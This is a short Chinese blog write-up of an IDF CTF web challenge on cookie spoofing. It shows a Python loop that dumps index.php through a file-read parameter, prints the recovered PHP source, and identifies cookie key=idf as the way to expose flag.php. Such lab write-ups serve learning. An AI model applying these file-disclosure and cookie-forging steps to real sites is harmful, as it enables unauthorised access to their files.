idf cookie欺骗

http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ

打开后就一串长长的码 不知所云
注意到ZmxhZy50eHQ 估计是BASE64
查询 得到flag.txt
放进去啥都没(无言以对)
大牛说是文件包含漏洞(什么是文件包含漏洞?去百度百度)
把file=aW5kZXgucGhw(index.php的base64)line=1发现有代码
测试line发现有个18行

写一个python弄出全部代码(py3)

import urllib.request
i=0
while(i<20):
    file = urllib.request.urlopen("http://ctf.idf.cn/game/web/40/index.php?line=%d&file=aW5kZXgucGhw"% i).read()
    print(file.decode('utf-8'))
    i=i+1

得到

<?php


    error_reporting(0);


    $file=base64_decode(isset($_GET['file'])?$_GET['file']:"");


    $line=isset($_GET['line'])?intval($_GET['line']):0;


    if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");


    $file_list = array(


        '0' =>'flag.txt', 


        '1' =>'index.php',


    );





    if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){


        $file_list[2]='flag.php';


    }





    if(in_array($file, $file_list)){


        $fa = file($file);


        echo $fa[$line];


    }


?>

也就是说设置cookie key=idf就行了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值